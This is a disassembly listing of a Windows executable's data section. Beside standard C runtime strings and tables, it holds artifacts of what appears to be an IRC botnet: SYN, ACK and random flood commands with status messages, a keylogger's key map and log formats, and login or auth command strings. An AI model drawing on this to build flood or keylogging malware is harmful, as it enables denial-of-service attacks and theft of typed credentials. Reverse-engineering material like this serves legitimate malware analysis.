dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr
; sub_40CAF1+2D8r ...
dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er
dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr
; sub_417DEB+6Cr ...
dd 0FFFFFFFFh, 419CBBh, 419CCFh
byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_433C6Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_433C68o
align 10h
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_435EBCo
align 8
dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr
; sub_41C2F3+ACr ...
dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr
dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o
align 10h
dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o
dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o
dd offset loc_41D1DE
align 10h
dd offset sub_41D1BC
dd offset sub_41D1C6
dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o
dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o
dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o
dd offset loc_41D54D
align 8
dd offset loc_41D539
dd offset loc_41D53D
dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o
dd offset loc_41D5A3
align 10h
dd offset loc_41D58F
dd offset loc_41D593
dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o
; sub_41FB63+39o ...
dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
; DATA XREF: sub_41E709+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_4362FCo
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
align 4
asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_41F885+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
align 8
dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo
align 4
dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h
; DATA XREF: sub_4221EA+5o
dd 424DC4h
off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o
; sub_4227EE+2Co ...
dd offset sub_4227C5
dd offset sub_4229E6
dd offset dword_424E10
off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao
; sub_422858o ...
dd offset sub_4227C5
dd offset loc_422A22
dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o
; sub_4228C0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o
dd offset dword_424E5C
off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o
; sub_42298A+37o ...
dd offset sub_4227C5
dd offset loc_422A04
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o
dd offset dword_424EA0
off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o
; ___:off_436A1Co ...
dd offset dword_424ED0
off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o
; sub_422B5C+8o ...
dd offset sub_422BBC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
align 8
dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo
dd 3, 19930520h, 2 dup(0)
dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
; DATA XREF: sub_422C78+5o
dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
; DATA XREF: sub_422F03+5o
dd 436A1Ch, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_424D90 dd offset off_436A34 ; DATA XREF: ___:00424DA8o
; ___:00424DF4o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_424D90
dd offset dword_424D60+18h
dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o
dd 2, 424DA8h, 3 dup(0)
dd offset off_436A34
dd offset dword_424DB0+4
off_424DD8 dd offset off_436A54 ; DATA XREF: ___:00424DF0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_424DD8
dd offset off_424D90
dd offset dword_424D60+18h
dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o
dd 3, 424DF0h
dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o
dd offset off_436A54
dd offset dword_424DFC+4
off_424E24 dd offset off_436A74 ; DATA XREF: ___:00424E3Co
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_424E24
dd offset off_424D90
dd offset dword_424D60+18h
dword_424E48 dd 3 dup(0) ; DATA XREF: ___:00424E6Co
dd 3, 424E3Ch
dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo
dd offset off_436A74
dd offset dword_424E48+4
off_424E70 dd offset off_436A98 ; DATA XREF: ___:00424E88o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_424E70
dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o
dd 1, 424E88h
dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo
dd offset off_436A98
dd offset dword_424E8C+4
dd offset dword_424D60+18h
dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o
dd 1, 424EB4h
dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o
dd offset off_436A1C
dd offset dword_424EB8+8
align 8
dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o
dd 0FFFFFFFFh, 4230D0h, 0
dd offset sub_4230C8
dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o
dd 0FFFFFFFFh, 4230F4h, 0
dd offset loc_4230FC
dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 424F90h, 4 dup(0)
dd offset loc_40477E
dd 0FFFFFFFFh, 42311Ah
dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o
dd offset off_436A1C
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 422B5Ch, 0
dd offset off_436A34
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 422908h, 0
dd offset off_436A54
align 8
dd 0FFFFFFFFh, 0
dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o
dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo
; sub_4229E6+4Bo
dd offset sub_422858
dd 0
dd offset dword_425010+8
dd 0FFFFFFFFh, 42312Ch
dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o
dd 0FFFFFFFFh, 42313Eh
dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o
dd 0FFFFFFFFh, 423150h
dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o
dd offset off_436A74
align 10h
dd 0FFFFFFFFh, 0
dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo
dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo
; sub_4229E6+2Do
dd offset sub_422967
dd 0
dd offset dword_4250B8+8
dd 0FFFFFFFFh, 423162h
dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao
dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co
dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo
dd offset sub_4227AA
dd 0
dd offset dword_425104
dd 5 dup(35FC1308h), 5 dup(6E77FCADh), 5 dup(22319DBDh)
dd 7Ah dup(0)
dd 22319DBDh, 0
dd 35FC1308h, 12h dup(0)
dd 6E77FCADh, 319h dup(0)
dword_426000 dd 0 ; DATA XREF: ___:00419AD7o
dd offset sub_4030CC
dd offset sub_40482C
dd offset sub_40484E
dword_426010 dd 0 ; DATA XREF: ___:00419AD2o
dword_426014 dd 0 ; DATA XREF: ___:00419AC8o
dd offset sub_418682
dd offset sub_41ECF1
dd offset sub_41FA42
dd offset dword_4208B4
dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o
dword_42602C dd 0 ; DATA XREF: sub_419B07+65o
dd offset sub_41FAE7
dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o
dword_426038 dd 0 ; DATA XREF: sub_419B07+76o
dd offset dword_4208B4+11h
dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o
unk_426050 db 2 ; DATA XREF: sub_401000+5Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_426088 db 2 ; DATA XREF: sub_4010B5+302o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o
; sub_40EE72+268Fo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o
; sub_40EE72+2678o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o
; sub_40EE72+2661o
align 4
unk_4260DC db 2 ; DATA XREF: sub_40144A+397o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_42613C db 2 ; DATA XREF: sub_40144A+307o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidTargetI db ' Invalid target IP.',0
align 4
unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 4
aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
align 10h
dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4019D7+4Bo
dd 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 4
dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401A76+27Do
dd 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+4EBo
dd 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+44Fo
dd 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401D82+312o
; sub_40EE72+2C3Co
align 4
aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o
; sub_40EE72+2C25o
aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o
; sub_40EE72+2C0Do
dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+15Fo
dd 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+EEo
dd 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+70o
dd 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4023A7:loc_40248Ao
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
; DATA XREF: sub_4022C6+AEo
dd 2202967h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
align 4
aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo
; sub_40EE72+2AE5o
align 4
asc_426C1C: ; DATA XREF: sub_4022C6+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
align 4
off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er
dd offset off_4274DC
dd offset off_4274D8
dd offset aHttp ; "HTTP"
dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo
dword_426C8C dd 0 ; DATA XREF: sub_402688+297r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
